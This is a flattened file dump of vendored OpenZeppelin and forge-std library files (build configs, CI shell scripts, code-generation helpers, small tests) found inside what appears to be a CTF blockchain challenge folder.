-------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3b.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3b.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-6.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-deposit.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-deposit.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-mint.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-mint.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-linear.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-linear.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglog.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglog.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglogext.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-rate-loglogext.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-exec.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-exec.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-vote.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/tally-vote.png -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/templates/page.hbs: -------------------------------------------------------------------------------- 1 | :github-icon: pass:[] 2 | {{#with-prelude}} 3 | {{readme (readme-path)}} 4 | {{/with-prelude}} 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | solc_version = '0.8.24' 3 | evm_version = 'cancun' 4 | optimizer = true 5 | optimizer-runs = 200 6 | src = 'contracts' 7 | out = 'out' 8 | libs = ['node_modules', 'lib'] 9 | test = 'test' 10 | cache_path = 'cache_forge' 11 | 12 | [fuzz] 13 | runs = 5000 14 | max_test_rejects = 150000 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/fv-requirements.txt: -------------------------------------------------------------------------------- 1 | certora-cli==4.13.1 2 | # File uses a custom name (fv-requirements.txt) so that it isn't picked by Netlify's build 3 | # whose latest Python version is 0.3.8, incompatible with most recent versions of Halmos 4 | halmos==0.2.0 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/hardhat/async-test-sanity.js: -------------------------------------------------------------------------------- 1 | process.on('unhandledRejection', reason => { 2 | throw new Error(reason); 3 | }); 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js: -------------------------------------------------------------------------------- 1 | const { subtask } = require('hardhat/config'); 2 | const { TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS } = require('hardhat/builtin-tasks/task-names'); 3 | 4 | subtask(TASK_COMPILE_SOLIDITY_GET_SOURCE_PATHS).setAction(async (_, __, runSuper) => 5 | (await runSuper()).filter(path => !path.endsWith('.t.sol')), 6 | ); 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/.gitattributes: -------------------------------------------------------------------------------- 1 | src/Vm.sol linguist-generated 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/.gitignore: -------------------------------------------------------------------------------- 1 | cache/ 2 | out/ 3 | .vscode 4 | .idea 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationScript.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScript is Script {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationScriptBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Script.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationScriptBase is ScriptBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationTest.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTest is Test {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/compilation/CompilationTestBase.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity >=0.6.2 <0.9.0; 3 | 4 | pragma experimental ABIEncoderV2; 5 | 6 | import "../../src/Test.sol"; 7 | 8 | // The purpose of this contract is to benchmark compilation time to avoid accidentally introducing 9 | // a change that results in very long compilation times with via-ir. See https://github.com/foundry-rs/forge-std/issues/207 10 | contract CompilationTestBase is TestBase {} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/fixtures/test.json: -------------------------------------------------------------------------------- 1 | { 2 | "a": 123, 3 | "b": "test", 4 | "c": { 5 | "a": 123, 6 | "b": "test" 7 | } 8 | } -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/lib/forge-std/test/fixtures/test.toml: -------------------------------------------------------------------------------- 1 | a = 123 2 | b = "test" 3 | 4 | [c] 5 | a = 123 6 | b = "test" 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/netlify.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | command = "npm run docs" 3 | publish = "build/site" 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/remappings.txt: -------------------------------------------------------------------------------- 1 | @openzeppelin/contracts/=contracts/ 2 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": ["github>OpenZeppelin/configs"], 3 | "labels": ["ignore-changeset"] 4 | } 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/checks/coverage.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | export COVERAGE=true 6 | export FOUNDRY_FUZZ_RUNS=10 7 | 8 | # Hardhat coverage 9 | hardhat coverage 10 | 11 | if [ "${CI:-"false"}" == "true" ]; then 12 | # Foundry coverage 13 | forge coverage --report lcov --ir-minimum 14 | # Remove zero hits 15 | sed -i '/,0/d' lcov.info 16 | fi 17 | 18 | # Reports are then uploaded to Codecov automatically by workflow, and merged. 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/checks/generation.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | npm run generate 6 | git diff -R --exit-code 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/format-lines.js: -------------------------------------------------------------------------------- 1 | function formatLines(...lines) { 2 | return [...indentEach(0, lines)].join('\n') + '\n'; 3 | } 4 | 5 | function* indentEach(indent, lines) { 6 | for (const line of lines) { 7 | if (Array.isArray(line)) { 8 | yield* indentEach(indent + 1, line); 9 | } else { 10 | const padding = ' '.repeat(indent); 11 | yield* line.split('\n').map(subline => (subline === '' ? '' : padding + subline)); 12 | } 13 | } 14 | } 15 | 16 | module.exports = formatLines; 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/helpers/sanitize.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | address: expr => `and(${expr}, shr(96, not(0)))`, 3 | bool: expr => `iszero(iszero(${expr}))`, 4 | bytes: (expr, size) => `and(${expr}, shl(${256 - 8 * size}, not(0)))`, 5 | }; 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Arrays.opts.js: -------------------------------------------------------------------------------- 1 | const TYPES = ['address', 'bytes32', 'uint256']; 2 | 3 | module.exports = { TYPES }; 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js: -------------------------------------------------------------------------------- 1 | // OPTIONS 2 | const VALUE_SIZES = [224, 208, 160]; 3 | 4 | const defaultOpts = size => ({ 5 | historyTypeName: `Trace${size}`, 6 | checkpointTypeName: `Checkpoint${size}`, 7 | checkpointFieldName: '_checkpoints', 8 | keyTypeName: `uint${256 - size}`, 9 | keyFieldName: '_key', 10 | valueTypeName: `uint${size}`, 11 | valueFieldName: '_value', 12 | }); 13 | 14 | module.exports = { 15 | VALUE_SIZES, 16 | OPTS: VALUE_SIZES.map(size => defaultOpts(size)), 17 | }; 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.opts.js: -------------------------------------------------------------------------------- 1 | const { capitalize } = require('../../helpers'); 2 | 3 | const mapType = str => (str == 'uint256' ? 'Uint' : capitalize(str)); 4 | 5 | const formatType = type => ({ 6 | name: `${mapType(type)}Set`, 7 | type, 8 | }); 9 | 10 | const TYPES = ['bytes32', 'address', 'uint256'].map(formatType); 11 | 12 | module.exports = { TYPES, formatType }; 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/MerkleProof.opts.js: -------------------------------------------------------------------------------- 1 | const { product } = require('../../helpers'); 2 | 3 | const OPTS = product( 4 | [ 5 | { suffix: '', location: 'memory' }, 6 | { suffix: 'Calldata', location: 'calldata' }, 7 | ], 8 | [{ visibility: 'pure' }, { visibility: 'view', hash: 'hasher' }], 9 | ).map(objs => Object.assign({}, ...objs)); 10 | 11 | module.exports = { OPTS }; 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/generate/templates/Packing.opts.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | SIZES: [1, 2, 4, 6, 8, 10, 12, 16, 20, 22, 24, 28, 32], 3 | }; 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/git-user-config.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail -x 4 | 5 | git config user.name 'github-actions' 6 | git config user.email '41898282+github-actions[bot]@users.noreply.github.com' 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/helpers.js: -------------------------------------------------------------------------------- 1 | const iterate = require('../test/helpers/iterate'); 2 | const strings = require('../test/helpers/strings'); 3 | 4 | module.exports = { 5 | ...iterate, 6 | ...strings, 7 | }; 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/prepare.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | if git status &>/dev/null; then git config core.hooksPath .githooks; fi 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/solhint-custom/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "solhint-plugin-openzeppelin", 3 | "version": "0.0.0", 4 | "private": true 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")" 6 | PATCH="$DIRNAME/upgradeable.patch" 7 | 8 | error() { 9 | echo Error: "$*" >&2 10 | exit 1 11 | } 12 | 13 | if ! git diff-files --quiet ":!$PATCH" || ! git diff-index --quiet HEAD ":!$PATCH"; then 14 | error "Repository must have no staged or unstaged changes" 15 | fi 16 | 17 | if ! git apply -3 "$PATCH"; then 18 | error "Fix conflicts and run $DIRNAME/patch-save.sh" 19 | fi 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | DIRNAME="$(dirname -- "${BASH_SOURCE[0]}")" 6 | PATCH="$DIRNAME/upgradeable.patch" 7 | 8 | error() { 9 | echo Error: "$*" >&2 10 | exit 1 11 | } 12 | 13 | if ! git diff-files --quiet ":!$PATCH"; then 14 | error "Unstaged changes. Stage to include in patch or temporarily stash." 15 | fi 16 | 17 | git diff-index --cached --patch --output="$PATCH" HEAD 18 | git restore --staged --worktree ":!$PATCH" 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/TESTING.md: -------------------------------------------------------------------------------- 1 | ## Testing 2 | 3 | Unit test are critical to OpenZeppelin Contracts. They help ensure code quality and mitigate against security vulnerabilities. The directory structure within the `/test` directory corresponds to the `/contracts` directory. 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/account.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { impersonateAccount, setBalance } = require('@nomicfoundation/hardhat-network-helpers'); 3 | 4 | // Hardhat default balance 5 | const DEFAULT_BALANCE = 10000n * ethers.WeiPerEther; 6 | 7 | const impersonate = (account, balance = DEFAULT_BALANCE) => 8 | impersonateAccount(account) 9 | .then(() => setBalance(account, balance)) 10 | .then(() => ethers.getSigner(account)); 11 | 12 | module.exports = { 13 | impersonate, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/constants.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | MAX_UINT48: 2n ** 48n - 1n, 3 | MAX_UINT64: 2n ** 64n - 1n, 4 | }; 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/deploy.js: -------------------------------------------------------------------------------- 1 | const { artifacts, ethers } = require('hardhat'); 2 | const { setCode } = require('@nomicfoundation/hardhat-network-helpers'); 3 | const { generators } = require('./random'); 4 | 5 | const forceDeployCode = (name, address = generators.address(), runner = ethers.provider) => 6 | artifacts 7 | .readArtifact(name) 8 | .then(({ abi, deployedBytecode }) => 9 | setCode(address, deployedBytecode).then(() => new ethers.Contract(address, abi, runner)), 10 | ); 11 | 12 | module.exports = { 13 | forceDeployCode, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/methods.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | 3 | const selector = signature => ethers.FunctionFragment.from(signature).selector; 4 | 5 | const interfaceId = signatures => 6 | ethers.toBeHex( 7 | signatures.reduce((acc, signature) => acc ^ ethers.toBigInt(selector(signature)), 0n), 8 | 4, 9 | ); 10 | 11 | module.exports = { 12 | selector, 13 | interfaceId, 14 | }; 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/helpers/strings.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | // Capitalize the first char of a string 3 | // Example: capitalize('uint256') → 'Uint256' 4 | capitalize: str => str.charAt(0).toUpperCase() + str.slice(1), 5 | }; 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/utils/Nonces.test.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); 3 | const { shouldBehaveLikeNonces } = require('./Nonces.behavior'); 4 | 5 | async function fixture() { 6 | const mock = await ethers.deployContract('$Nonces'); 7 | return { mock }; 8 | } 9 | 10 | describe('Nonces', function () { 11 | beforeEach(async function () { 12 | Object.assign(this, await loadFixture(fixture)); 13 | }); 14 | 15 | shouldBehaveLikeNonces(); 16 | }); 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/test/utils/introspection/ERC165.test.js: -------------------------------------------------------------------------------- 1 | const { ethers } = require('hardhat'); 2 | const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers'); 3 | 4 | const { shouldSupportInterfaces } = require('./SupportsInterface.behavior'); 5 | 6 | async function fixture() { 7 | return { 8 | mock: await ethers.deployContract('$ERC165'), 9 | }; 10 | } 11 | 12 | describe('ERC165', function () { 13 | beforeEach(async function () { 14 | Object.assign(this, await loadFixture(fixture)); 15 | }); 16 | 17 | shouldSupportInterfaces(); 18 | }); 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/netlify.toml: -------------------------------------------------------------------------------- 1 | [build] 2 | command = "npm run docs" 3 | publish = "build/site" 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/remappings.txt: -------------------------------------------------------------------------------- 1 | @openzeppelin/contracts-upgradeable/=contracts/ 2 | @openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/ 3 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/renovate.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": ["github>OpenZeppelin/configs"], 3 | "labels": ["ignore-changeset"] 4 | } 5 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/checks/coverage.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | export COVERAGE=true 6 | export FOUNDRY_FUZZ_RUNS=10 7 | 8 | # Hardhat coverage 9 | hardhat coverage 10 | 11 | if [ "${CI:-"false"}" == "true" ]; then 12 | # Foundry coverage 13 | forge coverage --report lcov --ir-minimum 14 | # Remove zero hits 15 | sed -i '/,0/d' lcov.info 16 | fi 17 | 18 | # Reports are then uploaded to Codecov automatically by workflow, and merged. 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/checks/generation.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail 4 | 5 | npm run generate 6 | git diff -R --exit-code 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/format-lines.js: -------------------------------------------------------------------------------- 1 | function formatLines(...lines) { 2 | return [...indentEach(0, lines)].join('\n') + '\n'; 3 | } 4 | 5 | function* indentEach(indent, lines) { 6 | for (const line of lines) { 7 | if (Array.isArray(line)) { 8 | yield* indentEach(indent + 1, line); 9 | } else { 10 | const padding = ' '.repeat(indent); 11 | yield* line.split('\n').map(subline => (subline === '' ? '' : padding + subline)); 12 | } 13 | } 14 | } 15 | 16 | module.exports = formatLines; 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/helpers/sanitize.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | address: expr => `and(${expr}, shr(96, not(0)))`, 3 | bool: expr => `iszero(iszero(${expr}))`, 4 | bytes: (expr, size) => `and(${expr}, shl(${256 - 8 * size}, not(0)))`, 5 | }; 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Arrays.opts.js: -------------------------------------------------------------------------------- 1 | const TYPES = ['address', 'bytes32', 'uint256']; 2 | 3 | module.exports = { TYPES }; 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Checkpoints.opts.js: -------------------------------------------------------------------------------- 1 | // OPTIONS 2 | const VALUE_SIZES = [224, 208, 160]; 3 | 4 | const defaultOpts = size => ({ 5 | historyTypeName: `Trace${size}`, 6 | checkpointTypeName: `Checkpoint${size}`, 7 | checkpointFieldName: '_checkpoints', 8 | keyTypeName: `uint${256 - size}`, 9 | keyFieldName: '_key', 10 | valueTypeName: `uint${size}`, 11 | valueFieldName: '_value', 12 | }); 13 | 14 | module.exports = { 15 | VALUE_SIZES, 16 | OPTS: VALUE_SIZES.map(size => defaultOpts(size)), 17 | }; 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/EnumerableSet.opts.js: -------------------------------------------------------------------------------- 1 | const { capitalize } = require('../../helpers'); 2 | 3 | const mapType = str => (str == 'uint256' ? 'Uint' : capitalize(str)); 4 | 5 | const formatType = type => ({ 6 | name: `${mapType(type)}Set`, 7 | type, 8 | }); 9 | 10 | const TYPES = ['bytes32', 'address', 'uint256'].map(formatType); 11 | 12 | module.exports = { TYPES, formatType }; 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/MerkleProof.opts.js: -------------------------------------------------------------------------------- 1 | const { product } = require('../../helpers'); 2 | 3 | const OPTS = product( 4 | [ 5 | { suffix: '', location: 'memory' }, 6 | { suffix: 'Calldata', location: 'calldata' }, 7 | ], 8 | [{ visibility: 'pure' }, { visibility: 'view', hash: 'hasher' }], 9 | ).map(objs => Object.assign({}, ...objs)); 10 | 11 | module.exports = { OPTS }; 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/generate/templates/Packing.opts.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | SIZES: [1, 2, 4, 6, 8, 10, 12, 16, 20, 22, 24, 28, 32], 3 | }; 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/git-user-config.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -euo pipefail -x 4 | 5 | git config user.name 'github-actions' 6 | git config user.email '41898282+github-actions[bot]@users.noreply.github.com' 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/scripts/helpers.js: -------------------------------------------------------------------------------- 1 | const iterate = require('../test/helpers/iterate'); 2 | const strings = require('../test/helpers/strings'); 3 | 4 | module.exports = { 5 | ...iterate, 6 | ...strings, 7 | }; 8 